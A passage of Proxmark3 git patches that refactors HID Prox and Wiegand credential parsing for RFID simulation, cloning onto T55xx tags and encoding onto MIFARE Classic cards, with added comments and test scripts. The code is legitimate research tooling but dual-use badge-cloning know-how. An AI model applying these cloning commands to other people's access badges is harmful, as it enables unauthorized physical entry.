arg_get_u32_def(ctx, 5, 0); - - int raw_len = 0; - char raw[40] = {0}; - CLIParamStrToBuf(arg_get_str(ctx, 6), (uint8_t *)raw, sizeof(raw), &raw_len); + lf_hid_cli_input_t cli; + memset(&cli, 0, sizeof(cli)); + CLIParamStrToBuf(arg_get_str(ctx, 1), (uint8_t *)cli.format, sizeof(cli.format), &cli.format_len); + cli.card.FacilityCode = arg_get_u32_def(ctx, 2, 0); + cli.card.CardNumber = arg_get_u32_def(ctx, 3, 0); + cli.card.IssueLevel = arg_get_u32_def(ctx, 4, 0); + cli.card.OEM = arg_get_u32_def(ctx, 5, 0); + int res = CLIParamHexToBuf(arg_get_str(ctx, 6), cli.raw, sizeof(cli.raw), &cli.raw_len); + cli.bin_len = sizeof(cli.bin) - 1; + CLIGetStrWithReturn(ctx, 7, cli.bin, &cli.bin_len); + cli.bin[cli.bin_len] = '\0'; + res |= CLIParamHexToBuf(arg_get_str(ctx, 8), cli.new_pacs, sizeof(cli.new_pacs), &cli.new_pacs_len); CLIParserFree(ctx); - wiegand_message_t packed; - memset(&packed, 0, sizeof(wiegand_message_t)); - - // format validation - int format_idx = HIDFindCardFormat(format); - if (format_idx == -1 && raw_len == 0) { - PrintAndLogEx(WARNING, "Unknown format: " _YELLOW_("%s"), format); + if (res) { + PrintAndLogEx(ERR, "Error parsing hex input"); return PM3_EINVARG; } - if (raw_len) { - uint32_t top = 0, mid = 0, bot = 0; - hexstring_to_u96(&top, &mid, &bot, raw); - packed.Top = top; - packed.Mid = mid; - packed.Bot = bot; - } else { - if (HIDPack(format_idx, &card, &packed, true) == false) { - PrintAndLogEx(WARNING, "The card data could not be encoded in the selected format."); - return PM3_ESOFT; - } + if (cli.bin_len > 96) { + PrintAndLogEx(ERR, "Binary wiegand string must be less than 97 bits"); + return PM3_EINVARG; } - if (raw_len == 0) { + wiegand_input_t input; + memset(&input, 0, sizeof(input)); + int format_idx = -1; + res = lf_hid_resolve_input(&cli, &input, &format_idx); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to encode HID input"); + return res; + } + + res = lf_hid_validate_packed_transport(&input, "LF HID simulation"); + if (res != PM3_SUCCESS) { + return res; + } + + if (cli.raw_len == 0) { PrintAndLogEx(INFO, "Simulating HID tag"); - HIDTryUnpack(&packed); + HIDTryUnpack(&input.packed); } else { - PrintAndLogEx(INFO, "Simulating HID tag using raw " _GREEN_("%s"), raw); + PrintAndLogEx(INFO, "Simulating HID tag using raw " _GREEN_("%s"), sprint_hex_inrow(cli.raw, cli.raw_len)); } lf_hidsim_t payload; - payload.hi2 = packed.Top; - payload.hi = packed.Mid; - payload.lo = packed.Bot; - payload.longFMT = (packed.Mid > 0xFFF); + payload.hi2 = input.packed.Top; + payload.hi = input.packed.Mid; + payload.lo = input.packed.Bot; + payload.longFMT = (input.packed.Mid > 0xFFF); clearCommandBuffer(); SendCommandNG(CMD_LF_HID_SIMULATE, (uint8_t *)&payload, sizeof(payload)); @@ -334,6 +396,8 @@ static int CmdHIDClone(const char *Cmd) { "clone a HID Prox tag to a T55x7, Q5/T5555 or EM4305/4469 tag.\n" "Tag must be on the antenna when issuing this command.", "lf hid clone -r 2006ec0c86 -> write raw value for T55x7 tag (HID 10301 26 bit)\n" + "lf hid clone --bin 10001111100000001010100011 -> write binary HID payload for T55x7 tag\n" + "lf hid clone --new 068F80A8C0 -> write PACS-encoded HID payload for T55x7 tag\n" "lf hid clone -r 2e0ec00c87 -> write raw value for T55x7 tag (HID Corporate 35 bit)\n" "lf hid clone -r 01f0760643c3 -> write raw value for T55x7 tag (HID P10001 40 bit)\n" "lf hid clone -r 01400076000c86 -> write raw value for T55x7 tag (HID Corporate 48 bit)\n" @@ -353,33 +417,27 @@ static int CmdHIDClone(const char *Cmd) { arg_lit0(NULL, "q5", "optional - specify writing to Q5/T5555 tag"), arg_lit0(NULL, "em", "optional - specify writing to EM4305/4469 tag"), arg_str0(NULL, "bin", "", "Binary string i.e 0001001001"), + arg_str0(NULL, "new", "", "new ASN.1 PACS hex from `wiegand encode --new`"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, false); - char format[16] = {0}; - int format_len = 0; - CLIParamStrToBuf(arg_get_str(ctx, 1), (uint8_t *)format, sizeof(format), &format_len); - - wiegand_card_t card; - memset(&card, 0, sizeof(wiegand_card_t)); - card.FacilityCode = arg_get_u32_def(ctx, 2, 0); - card.CardNumber = arg_get_u32_def(ctx, 3, 0); - card.IssueLevel = arg_get_u32_def(ctx, 4, 0); - card.OEM = arg_get_u32_def(ctx, 5, 0); - - int raw_len = 0; - char raw[40] = {0}; - CLIParamStrToBuf(arg_get_str(ctx, 6), (uint8_t *)raw, sizeof(raw), &raw_len); + lf_hid_cli_input_t cli; + memset(&cli, 0, sizeof(cli)); + CLIParamStrToBuf(arg_get_str(ctx, 1), (uint8_t *)cli.format, sizeof(cli.format), &cli.format_len); + cli.card.FacilityCode = arg_get_u32_def(ctx, 2, 0); + cli.card.CardNumber = arg_get_u32_def(ctx, 3, 0); + cli.card.IssueLevel = arg_get_u32_def(ctx, 4, 0); + cli.card.OEM = arg_get_u32_def(ctx, 5, 0); + int res = CLIParamHexToBuf(arg_get_str(ctx, 6), cli.raw, sizeof(cli.raw), &cli.raw_len); bool q5 = arg_get_lit(ctx, 7); bool em = arg_get_lit(ctx, 8); - // t5577 can do 6 blocks with 32bits == 192 bits, HID is manchester encoded and doubles in length. - // With parity, manchester and preamble we have about 3 blocks to play with. Ie: 96 bits - uint8_t bin[97] = {0}; - int bin_len = sizeof(bin) - 1; // CLIGetStrWithReturn does not guarantee string to be null-terminated - CLIGetStrWithReturn(ctx, 9, bin, &bin_len); + cli.bin_len = sizeof(cli.bin) - 1; + CLIGetStrWithReturn(ctx, 9, cli.bin, &cli.bin_len); + cli.bin[cli.bin_len] = '\0'; + res |= CLIParamHexToBuf(arg_get_str(ctx, 10), cli.new_pacs, sizeof(cli.new_pacs), &cli.new_pacs_len); CLIParserFree(ctx); if (q5 && em) { @@ -387,59 +445,23 @@ static int CmdHIDClone(const char *Cmd) { return PM3_EINVARG; } - if (bin_len > 96) { - PrintAndLogEx(ERR, "Binary wiegand string must be less than 96 bits"); + if (res) { + PrintAndLogEx(ERR, "Error parsing hex input"); return PM3_EINVARG; } - wiegand_message_t packed; - memset(&packed, 0, sizeof(wiegand_message_t)); - - // format validation - int format_idx = HIDFindCardFormat(format); - if (format_idx == -1 && raw_len == 0) { - PrintAndLogEx(WARNING, "Unknown format: " _YELLOW_("%s"), format); - return PM3_EINVARG; + wiegand_input_t input; + memset(&input, 0, sizeof(input)); + int format_idx = -1; + res = lf_hid_resolve_input(&cli, &input, &format_idx); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to encode HID input"); + return res; } - uint32_t top = 0, mid = 0, bot = 0; - if (raw_len) { - hexstring_to_u96(&top, &mid, &bot, raw); - packed.Top = top; - packed.Mid = mid; - packed.Bot = bot; - } else if (bin_len) { - - uint8_t hex[12]; - memset(hex, 0, sizeof(hex)); - BitstreamOut_t bout = {hex, 0, 0 }; - - for (int i = 0; i < 96 - bin_len - 1; i++) { - pushBit(&bout, 0); - } - // add binary sentinel bit. - pushBit(&bout, 1); - - // convert binary string to hex bytes - for (int i = 0; i < bin_len; i++) { - char c = bin[i]; - if (c == '1') - pushBit(&bout, 1); - else if (c == '0') - pushBit(&bout, 0); - } - - packed.Length = bin_len; - packed.Top = bytes_to_num(hex, 4); - packed.Mid = bytes_to_num(hex + 4, 4); - packed.Bot = bytes_to_num(hex + 8, 4); - add_HID_header(&packed); - - } else { - if (HIDPack(format_idx, &card, &packed, true) == false) { - PrintAndLogEx(WARNING, "The card data could not be encoded in the selected format."); - return PM3_ESOFT; - } + res = lf_hid_validate_packed_transport(&input, "LF HID clone"); + if (res != PM3_SUCCESS) { + return res; } char cardtype[16] = {"T55x7"}; @@ -454,18 +476,22 @@ static int CmdHIDClone(const char *Cmd) { snprintf(cardtype, sizeof(cardtype), "EM4305/4469"); } - if (raw_len == 0) { + if (cli.raw_len == 0) { PrintAndLogEx(INFO, "Preparing to clone HID tag"); - HIDUnpack(format_idx, &packed); + if (format_idx >= 0) { + HIDUnpack(format_idx, &input.packed); + } else { + HIDTryUnpack(&input.packed); + } } else { - PrintAndLogEx(INFO, "Preparing to clone HID tag using raw " _YELLOW_("%s"), raw); + PrintAndLogEx(INFO, "Preparing to clone HID tag using raw " _YELLOW_("%s"), sprint_hex_inrow(cli.raw, cli.raw_len)); } lf_hidsim_t payload; - payload.hi2 = packed.Top; - payload.hi = packed.Mid; - payload.lo = packed.Bot; - payload.longFMT = (packed.Mid > 0xFFF); + payload.hi2 = input.packed.Top; + payload.hi = input.packed.Mid; + payload.lo = input.packed.Bot; + payload.longFMT = (input.packed.Mid > 0xFFF); payload.Q5 = q5; payload.EM = em; diff --git a/client/src/cmdwiegand.c b/client/src/cmdwiegand.c index 191a31d38..ff4a1cc93 100644 --- a/client/src/cmdwiegand.c +++ b/client/src/cmdwiegand.c @@ -40,20 +40,16 @@ static int CmdHelp(const char *Cmd); #define PACS_MAX_WIEGAND_BITS 96 #define WIEGAND_MAX_ENCODED_BITS (PACS_MAX_WIEGAND_BITS + 8) -static void wiegand_packed_to_binstr(const wiegand_message_t *packed, char *binstr) { - for (uint8_t i = 0; i < packed->Length; i++) { - binstr[i] = get_bit_by_position((wiegand_message_t *)packed, i) ? '1' : '0'; - } - binstr[packed->Length] = '\0'; -} - static int wiegand_print_new_pacs_verbose(const wiegand_message_t *packed, const uint8_t *pacs, size_t pacs_len) { char binstr[PACS_MAX_WIEGAND_BITS + 1] = {0}; char rawbin[WIEGAND_MAX_ENCODED_BITS + 1] = {0}; uint8_t raw[(WIEGAND_MAX_ENCODED_BITS + 7) / 8] = {0}; size_t raw_len = 0; - wiegand_packed_to_binstr(packed, binstr); + if (wiegand_message_to_binstr(packed, binstr, sizeof(binstr)) == false) { + PrintAndLogEx(ERR, "Failed to render Wiegand payload"); + return PM3_EINVARG; + } rawbin[0] = '1'; memcpy(rawbin + 1, binstr, packed->Length); binstr_2_bytes(raw, &raw_len, rawbin); @@ -83,7 +79,10 @@ static int wiegand_encode_new_pacs(const wiegand_message_t *packed, bool verbose uint8_t pad = padded_bits - packed->Length; char binstr[PACS_MAX_WIEGAND_BITS + 1] = {0}; - wiegand_packed_to_binstr(packed, binstr); + if (wiegand_message_to_binstr(packed, binstr, sizeof(binstr)) == false) { + PrintAndLogEx(ERR, "Failed to render Wiegand payload"); + return PM3_EINVARG; + } memset(binstr + packed->Length, '0', pad); binstr[padded_bits] = '\0'; diff --git a/client/src/wiegand_formats.c b/client/src/wiegand_formats.c index 88f52aaa1..ea8af7603 100644 --- a/client/src/wiegand_formats.c +++ b/client/src/wiegand_formats.c @@ -1805,21 +1805,21 @@ int HIDDumpPACSBits(const uint8_t *const data, const uint8_t length, bool verbos } uint8_t n = length - 1; - uint8_t pad = data[0]; char *binstr = (char *)calloc((length * 8) + 1, sizeof(uint8_t)); if (binstr == NULL) { PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } - bytes_2_binstr(binstr, data + 1, n); + if (wiegand_new_pacs_to_binstr(data, length, binstr, (length * 8) + 1) == false) { + PrintAndLogEx(ERR, "Invalid PACS value"); + free(binstr); + return PM3_EINVARG; + } // PrintAndLogEx(NORMAL, ""); PrintAndLogEx(INFO, "------------------------- " _CYAN_("Wiegand") " ---------------------------"); PrintAndLogEx(SUCCESS, "PACS............. " _GREEN_("%s"), sprint_hex_inrow(data, length)); - PrintAndLogEx(DEBUG, "padded bin....... " _GREEN_("%s") " ( %zu )", binstr, strlen(binstr)); - - binstr[strlen(binstr) - pad] = '\0'; PrintAndLogEx(DEBUG, "bin.............. " _GREEN_("%s") " ( %zu )", binstr, strlen(binstr)); size_t hexlen = 0; diff --git a/client/src/wiegand_formatutils.c b/client/src/wiegand_formatutils.c index a3c1360e8..a65939e94 100644 --- a/client/src/wiegand_formatutils.c +++ b/client/src/wiegand_formatutils.c @@ -20,7 +20,11 @@ #include #include #include +#include "commonutil.h" +#include "loclass/cipherutils.h" +#include "wiegand_formats.h" #include "wiegand_formatutils.h" +#include "util.h" #include "ui.h" uint8_t get_bit_by_position(const wiegand_message_t *data, uint8_t pos) { @@ -215,3 +219,211 @@ bool add_HID_header(wiegand_message_t *data) { } return true; } + +bool wiegand_message_to_binstr(const wiegand_message_t *packed, char *binstr, size_t binstr_size) { + if (packed == NULL || binstr == NULL || binstr_size <= packed->Length) { + return false; + } + + for (uint8_t i = 0; i < packed->Length; i++) { + binstr[i] = get_bit_by_position(packed, i) ? '1' : '0'; + } + binstr[packed->Length] = '\0'; + return true; +} + +bool wiegand_raw_to_binstr(const uint8_t *raw, size_t raw_len, char *binstr, size_t binstr_size) { + if (raw == NULL || binstr == NULL || raw_len == 0 || binstr_size == 0) { + return false; + } + + size_t raw_bit_len = raw_len * 8; + if (binstr_size <= raw_bit_len) { + return false; + } + + bytes_2_binstr(binstr, raw, raw_len); + + char *sentinel = strchr(binstr, '1'); + if (sentinel == NULL || sentinel[1] == '\0') { + return false; + } + + size_t payload_len = strlen(sentinel + 1); + if (binstr_size <= payload_len) { + return false; + } + + memmove(binstr, sentinel + 1, payload_len + 1); + return true; +} + +bool wiegand_new_pacs_to_binstr(const uint8_t *pacs, size_t pacs_len, char *binstr, size_t binstr_size) { + if (pacs == NULL || binstr == NULL || pacs_len < 2 || pacs[0] > 0x07) { + return false; + } + + size_t payload_len = pacs_len - 1; + size_t padded_bits = payload_len * 8; + if (binstr_size <= padded_bits) { + return false; + } + + bytes_2_binstr(binstr, pacs + 1, payload_len); + + size_t trimmed_len = strlen(binstr); + if (pacs[0] >= trimmed_len) { + return false; + } + + binstr[trimmed_len - pacs[0]] = '\0'; + return true; +} + +int wiegand_pack_bin_with_hid_header(const char *binstr, wiegand_message_t *packed) { + size_t bin_len = strlen(binstr); + if (packed == NULL || bin_len == 0 || bin_len > 84) { + return PM3_EINVARG; + } + + uint8_t hex[12] = {0}; + BitstreamOut_t bout = {hex, 0, 0}; + + for (size_t i = 0; i < (96 - bin_len - 1); i++) { + pushBit(&bout, 0); + } + + pushBit(&bout, 1); + + for (size_t i = 0; i < bin_len; i++) { + char c = binstr[i]; + if (c == '1') { + pushBit(&bout, 1); + } else if (c == '0') { + pushBit(&bout, 0); + } else { + return PM3_EINVARG; + } + } + + packed->Length = (uint8_t)bin_len; + packed->Top = bytes_to_num(hex, 4); + packed->Mid = bytes_to_num(hex + 4, 4); + packed->Bot = bytes_to_num(hex + 8, 4); + + return add_HID_header(packed) ? PM3_SUCCESS : PM3_EINVARG; +} + +int wiegand_set_plain_binstr(const char *binstr, wiegand_input_t *input) { + size_t bin_len = strlen(binstr); + if (input == NULL || bin_len == 0 || bin_len >= sizeof(input->binstr)) { + return PM3_EINVARG; + } + + memset(input, 0, sizeof(*input)); + for (size_t i = 0; i < bin_len; i++) { + if (binstr[i] != '0' && binstr[i] != '1') { + return PM3_EINVARG; + } + } + + memcpy(input->binstr, binstr, bin_len + 1); + input->bin_len = bin_len; + return PM3_SUCCESS; +} + +int wiegand_set_new_pacs_binstr(const uint8_t *pacs, size_t pacs_len, wiegand_input_t *input) { + if (input == NULL) { + return PM3_EINVARG; + } + + memset(input, 0, sizeof(*input)); + if (wiegand_new_pacs_to_binstr(pacs, pacs_len, input->binstr, sizeof(input->binstr)) == false) { + return PM3_EINVARG; + } + + input->bin_len = strlen(input->binstr); + return PM3_SUCCESS; +} + +int wiegand_pack_formatted(int format_idx, wiegand_card_t *card, bool preamble, wiegand_message_t *packed) { + if (HIDPack(format_idx, card, packed, preamble) == false) { + return PM3_ESOFT; + } + return PM3_SUCCESS; +} + +int wiegand_pack_from_plain_bin(const char *binstr, wiegand_input_t *input) { + int res = wiegand_set_plain_binstr(binstr, input); + if (res != PM3_SUCCESS) { + return res; + } + + if (input->bin_len > 84) { + input->packed_valid = false; + return PM3_SUCCESS; + } + + res = wiegand_pack_bin_with_hid_header(input->binstr, &input->packed); + input->packed_valid = (res == PM3_SUCCESS); + return res; +} + +int wiegand_pack_from_new_pacs(const uint8_t *pacs, size_t pacs_len, wiegand_input_t *input) { + int res = wiegand_set_new_pacs_binstr(pacs, pacs_len, input); + if (res != PM3_SUCCESS) { + return res; + } + + if (input->bin_len > 84) { + input->packed_valid = false; + return PM3_SUCCESS; + } + + res = wiegand_pack_bin_with_hid_header(input->binstr, &input->packed); + input->packed_valid = (res == PM3_SUCCESS); + return res; +} + +int wiegand_pack_from_formatted(int format_idx, wiegand_card_t *card, bool preamble, wiegand_input_t *input) { + memset(input, 0, sizeof(*input)); + int res = wiegand_pack_formatted(format_idx, card, preamble, &input->packed); + if (res != PM3_SUCCESS) { + return res; + } + input->packed_valid = true; + if (wiegand_message_to_binstr(&input->packed, input->binstr, sizeof(input->binstr)) == false) { + return PM3_EINVARG; + } + input->bin_len = strlen(input->binstr); + return PM3_SUCCESS; +} + +int wiegand_pack_from_raw_hid(const uint8_t *raw, size_t raw_len, wiegand_input_t *input) { + if (raw == NULL || input == NULL || raw_len == 0) { + return PM3_EINVARG; + } + + uint8_t aligned[12] = {0}; + memset(input, 0, sizeof(*input)); + + if (wiegand_raw_to_binstr(raw, raw_len, input->binstr, sizeof(input->binstr)) == false) { + return PM3_EINVARG; + } + input->bin_len = strlen(input->binstr); + if (input->bin_len > 96) { + input->packed_valid = false; + return PM3_SUCCESS; + } + + if (raw_len > sizeof(aligned)) { + return PM3_EINVARG; + } + + memcpy(aligned + (sizeof(aligned) - raw_len), raw, raw_len); + input->packed = initialize_message_object(bytes_to_num(aligned, 4), bytes_to_num(aligned + 4, 4), bytes_to_num(aligned + 8, 4), 0); + // Raw HID input preserves legacy behavior: transport words are populated, but + // packed Wiegand length is left unset because this path does not repack data. + input->packed_valid = true; + return PM3_SUCCESS; +} diff --git a/client/src/wiegand_formatutils.h b/client/src/wiegand_formatutils.h index 5a67cc264..c5d5fac69 100644 --- a/client/src/wiegand_formatutils.h +++ b/client/src/wiegand_formatutils.h @@ -22,6 +22,7 @@ #include #include #include +#include // Structure for packed wiegand messages // Always align lowest value (last transmitted) bit to ordinal position 0 (lowest valued bit bottom) @@ -41,6 +42,13 @@ typedef struct { bool ParityValid; // Only valid for responses } wiegand_card_t; +typedef struct { + size_t bin_len; + char binstr[145]; + bool packed_valid; + wiegand_message_t packed; +} wiegand_input_t; + uint8_t get_bit_by_position(const wiegand_message_t *data, uint8_t pos); bool set_bit_by_position(wiegand_message_t *data, bool value, uint8_t pos); @@ -54,5 +62,16 @@ wiegand_message_t initialize_message_object(uint32_t top, uint32_t mid, uint32_t uint8_t get_length_from_header(const wiegand_message_t *data); bool add_HID_header(wiegand_message_t *data); +bool wiegand_message_to_binstr(const wiegand_message_t *packed, char *binstr, size_t binstr_size); +bool wiegand_raw_to_binstr(const uint8_t *raw, size_t raw_len, char *binstr, size_t binstr_size); +bool wiegand_new_pacs_to_binstr(const uint8_t *pacs, size_t pacs_len, char *binstr, size_t binstr_size); +int wiegand_set_plain_binstr(const char *binstr, wiegand_input_t *input); +int wiegand_set_new_pacs_binstr(const uint8_t *pacs, size_t pacs_len, wiegand_input_t *input); +int wiegand_pack_bin_with_hid_header(const char *binstr, wiegand_message_t *packed); +int wiegand_pack_formatted(int format_idx, wiegand_card_t *card, bool preamble, wiegand_message_t *packed); +int wiegand_pack_from_new_pacs(const uint8_t *pacs, size_t pacs_len, wiegand_input_t *input); +int wiegand_pack_from_plain_bin(const char *binstr, wiegand_input_t *input); +int wiegand_pack_from_formatted(int format_idx, wiegand_card_t *card, bool preamble, wiegand_input_t *input); +int wiegand_pack_from_raw_hid(const uint8_t *raw, size_t raw_len, wiegand_input_t *input); #endif diff --git a/tools/pm3_online_tests.sh b/tools/pm3_online_tests.sh index f939b57da..802439957 100755 --- a/tools/pm3_online_tests.sh +++ b/tools/pm3_online_tests.sh @@ -9,6 +9,8 @@ cd "$PM3PATH" || exit 1 TESTALL=false TESTDESFIREVALUE=false +TESTHIDWIEGAND=false +TESTMFHIDENCODE=false # https://medium.com/@Drew_Stokes/bash-argument-parsing-54f3b81a6a8f PARAMS="" @@ -16,9 +18,11 @@ while (( "$#" )); do case "$1" in -h|--help) echo """ -Usage: $0 [--pm3bin /path/to/pm3] [desfire_value] +Usage: $0 [--pm3bin /path/to/pm3] [desfire_value|hid_wiegand|mf_hid_encode] --pm3bin ...: Specify path to pm3 binary to test desfire_value: Test DESFire value operations with card + hid_wiegand: Test LF HID simulate/clone Wiegand flows + mf_hid_encode: Test MIFARE Classic HID encoding flows You must specify a test target - no default 'all' for online tests """ exit 0 @@ -37,6 +41,16 @@ Usage: $0 [--pm3bin /path/to/pm3] [desfire_value] TESTDESFIREVALUE=true shift ;; + hid_wiegand) + TESTALL=false + TESTHIDWIEGAND=true + shift + ;; + mf_hid_encode) + TESTALL=false + TESTMFHIDENCODE=true + shift + ;; -*|--*=) # unsupported flags echo "Error: Unsupported flag $1" >&2 exit 1 @@ -95,6 +109,13 @@ function CheckExecute() { return 1 } +function WaitForEnter() { + echo "" + echo "$1" + echo "Press Enter when ready, or Ctrl-C to abort." + read -r +} + echo -e "${C_BLUE}Iceman Proxmark3 online test tool${C_NC}" echo "" echo "work directory: $(pwd)" @@ -108,7 +129,7 @@ if command -v git >/dev/null && git rev-parse --is-inside-work-tree >/dev/null 2 fi # Check that user specified a test -if [ "$TESTDESFIREVALUE" = false ]; then +if [ "$TESTDESFIREVALUE" = false ] && [ "$TESTHIDWIEGAND" = false ] && [ "$TESTMFHIDENCODE" = false ]; then echo "Error: You must specify a test target. Use -h for help." exit 1 fi @@ -138,6 +159,32 @@ while true; do if ! CheckExecute "card cleanup" "$PM3BIN -c 'hf mfdes selectapp --aid 000000; hf mfdes auth -n 0 -t 2tdea -k 00000000000000000000000000000000 --kdf none; hf mfdes deleteapp --aid 123456'" "application.*deleted"; then break; fi echo " card value operation tests completed successfully!" fi + + if $TESTHIDWIEGAND; then + echo -e "\n${C_BLUE}Testing LF HID Wiegand flows${C_NC} ${PM3BIN:=./pm3}" + if ! CheckFileExist "pm3 exists" "$PM3BIN"; then break; fi + + if ! CheckExecute "lf hid sim 26-bit bin" "$PM3BIN -c 'lf hid sim --bin 10001111100000001010100011'" "Simulating HID tag"; then break; fi + if ! CheckExecute "lf hid sim raw oversize" "$PM3BIN -c 'lf hid sim -r 01400076000c86' 2>&1" "LF HID simulation supports only packed credentials up to 37 bits"; then break; fi + if ! CheckExecute "lf hid sim bin oversize" "PAT=\$(printf '01%.0s' {1..48}); $PM3BIN -c \"lf hid sim --bin \$PAT\" 2>&1" "LF HID simulation supports only packed credentials up to 37 bits"; then break; fi + if ! CheckExecute "lf hid sim new oversize" "$PM3BIN -c 'lf hid sim --new 0000A4550148AB' 2>&1" "LF HID simulation supports only packed credentials up to 37 bits"; then break; fi + + WaitForEnter "PLACE A REWRITABLE T55xx TAG ON THE PM3 NOW" + if ! CheckExecute "lf hid clone 26-bit bin" "$PM3BIN -c 'lf hid clone --bin 10001111100000001010100011'" "Done!"; then break; fi + if ! CheckExecute "lf hid clone raw oversize" "$PM3BIN -c 'lf hid clone -r 01400076000c86' 2>&1" "LF HID clone supports only packed credentials up to 37 bits"; then break; fi + if ! CheckExecute "lf hid clone bin oversize" "PAT=\$(printf '01%.0s' {1..48}); $PM3BIN -c \"lf hid clone --bin \$PAT\" 2>&1" "LF HID clone supports only packed credentials up to 37 bits"; then break; fi + if ! CheckExecute "lf hid clone new oversize" "$PM3BIN -c 'lf hid clone --new 0000A4550148AB' 2>&1" "LF HID clone supports only packed credentials up to 37 bits"; then break; fi + fi + + if $TESTMFHIDENCODE; then + echo -e "\n${C_BLUE}Testing MIFARE Classic HID encoding${C_NC} ${PM3BIN:=./pm3}" + if ! CheckFileExist "pm3 exists" "$PM3BIN"; then break; fi + + WaitForEnter "PLACE A BLANK MIFARE CLASSIC 1K CARD ON THE PM3 NOW" + if ! CheckExecute "hf mf encodehid bin" "$PM3BIN -c 'hf mf encodehid --bin 10001111100000001010100011; hf mf rdbl --blk 5 -k FFFFFFFFFFFF'" "023E02A3"; then break; fi + if ! CheckExecute "hf mf encodehid raw" "$PM3BIN -c 'hf mf encodehid --raw 023E02A3; hf mf rdbl --blk 5 -k FFFFFFFFFFFF'" "023E02A3"; then break; fi + if ! CheckExecute "hf mf encodehid new" "$PM3BIN -c 'hf mf encodehid --new 068F80A8C0; hf mf rdbl --blk 5 -k FFFFFFFFFFFF'" "023E02A3"; then break; fi + fi echo -e "\n------------------------------------------------------------" echo -e "Tests [ ${C_GREEN}OK${C_NC} ] ${C_OK}\n" @@ -145,4 +192,4 @@ while true; do done echo -e "\n------------------------------------------------------------" echo -e "\nTests [ ${C_RED}FAIL${C_NC} ] ${C_FAIL}\n" -exit 1 \ No newline at end of file +exit 1 diff --git a/tools/pm3_tests.sh b/tools/pm3_tests.sh index f0aa9cbe5..2fcaaf82d 100755 --- a/tools/pm3_tests.sh +++ b/tools/pm3_tests.sh @@ -490,6 +490,7 @@ while true; do if ! CheckExecute "wiegand decode test - raw" "$CLIENTBIN -c 'wiegand decode --raw 2006F623AE'" "FC: 123 CN: 4567 parity \( ok \)"; then break; fi if ! CheckExecute "wiegand decode test - bin over 96-bit" "PAT=\$(printf '01%.0s' {1..49}); $CLIENTBIN -c \"wiegand decode --bin \$PAT\" 2>&1" "Binary decode supports up to 96 Wiegand bits"; then break; fi if ! CheckExecute "wiegand decode test - new" "$CLIENTBIN -c 'wiegand decode --new 06BD88EB80'" "FC: 123 CN: 4567 parity \( ok \)"; then break; fi + if ! CheckExecute "wiegand decode test - new no padded bin" "if ! $CLIENTBIN -c 'wiegand decode --new 06BD88EB80' 2>&1 | grep -q 'padded bin'; then echo OK; fi" "OK"; then break; fi if ! CheckExecute "wiegand decode test - new 96-bit" "$CLIENTBIN -c 'wiegand decode --new 00555555555555555555555555'" "hex\\.{14} 555555555555555555555555"; then break; fi if ! CheckExecute "wiegand decode test - new 48-bit" "$CLIENTBIN -c 'wiegand decode --new 0000A4550148AB'" "C1k48s.*FC: 42069 CN: 42069 parity \( ok \)"; then break; fi if ! CheckExecute "wiegand Verkada40 encode test 1" "$CLIENTBIN -c 'wiegand encode -w Verkada40 --fc 50 --cn 1001'" "86400007D3"; then break; fi From 66390096811a09fc3672c354b5f8d89ffe090731 Mon Sep 17 00:00:00 2001 From: CinderSocket Date: Tue, 17 Mar 2026 08:42:37 -0700 Subject: [PATCH 110/162] client: document wiegand layer and improve online tests Add inline comments throughout wiegand_formatutils and callers to explain sentinel-bit stripping, HID transport framing, and the normalization contract between input modes and downstream consumers. Replace sim-only LF HID online tests with T55xx clone+readback flows and add a full encode/decode roundtrip harness for hf mf encodehid, including sector restore/cleanup and an optional --manual flag for external reader verification. --- client/src/cmdhfmf.c | 6 + client/src/cmdlfhid.c | 8 + client/src/wiegand_formatutils.c | 12 +- client/src/wiegand_formatutils.h | 26 +++- tools/pm3_online_tests.sh | 242 +++++++++++++++++++++++++++++-- 5 files changed, 276 insertions(+), 18 deletions(-) diff --git a/client/src/cmdhfmf.c b/client/src/cmdhfmf.c index 3d666fe23..547064b0c 100644 --- a/client/src/cmdhfmf.c +++ b/client/src/cmdhfmf.c @@ -10045,6 +10045,8 @@ static int CmdHF14AMfValue(const char *Cmd) { return PM3_SUCCESS; } +// Encode the normalized Wiegand payload into the sentinel-prefixed byte layout stored in +// the HID-specific MIFARE payload block. static int hfmf_encodehid_pack_block5(const char *binstr, uint8_t *block) { if (binstr == NULL || block == NULL) { return PM3_EINVARG; @@ -10057,6 +10059,8 @@ static int hfmf_encodehid_pack_block5(const char *binstr, uint8_t *block) { return PM3_EINVARG; } + // MIFARE block 5 stores the Wiegand payload with the same sentinel-prefixed layout + // expected by existing HID cards: one leading 1 followed by the logical payload bits. bits_with_sentinel[0] = '1'; memcpy(bits_with_sentinel + 1, binstr, binlen + 1); @@ -10182,6 +10186,8 @@ static int CmdHFMFHidEncode(const char *Cmd) { return res; } + // Unlike LF HID transport, block 5 only needs the normalized bitstring. Raw/new/formatted + // inputs all converge here after the shared Wiegand layer has stripped transport framing. if (hfmf_encodehid_pack_block5(input.binstr, card_blocks + (MFBLOCK_SIZE * 4)) != PM3_SUCCESS) { PrintAndLogEx(ERR, "Encoded Wiegand payload is too large to fit in the MIFARE payload"); return PM3_EINVARG; diff --git a/client/src/cmdlfhid.c b/client/src/cmdlfhid.c index d29df06f7..c0454b5f0 100644 --- a/client/src/cmdlfhid.c +++ b/client/src/cmdlfhid.c @@ -59,7 +59,11 @@ typedef struct { int new_pacs_len; } lf_hid_cli_input_t; +// Enforce the narrower LF HID transport limits after the shared Wiegand layer has +// normalized whichever user-facing input mode was selected. static int lf_hid_validate_packed_transport(const wiegand_input_t *input, const char *command_name) { + // The shared Wiegand layer can normalize credentials that are wider than the LF HID + // transport. Reject only when this specific command needs a packed HID frame. if (input->packed_valid == false) { PrintAndLogEx(ERR, "Credential encoded successfully, but %" PRIuMAX "-bit Wiegand data cannot be represented as a packed HID credential", (uintmax_t)input->bin_len); PrintAndLogEx(ERR, "Packed HID encoding supports up to 84 Wiegand bits"); @@ -80,6 +84,8 @@ static int lf_hid_validate_packed_transport(const wiegand_input_t *input, const return PM3_SUCCESS; } +// Resolve the CLI's mutually exclusive HID input modes into one normalized representation +// that downstream sim/clone code can consume without caring about the original encoding. static int lf_hid_resolve_input(const lf_hid_cli_input_t *cli, wiegand_input_t *input, int *format_idx) { int input_modes = 0; input_modes += (cli->raw_len > 0); @@ -101,6 +107,8 @@ static int lf_hid_resolve_input(const lf_hid_cli_input_t *cli, 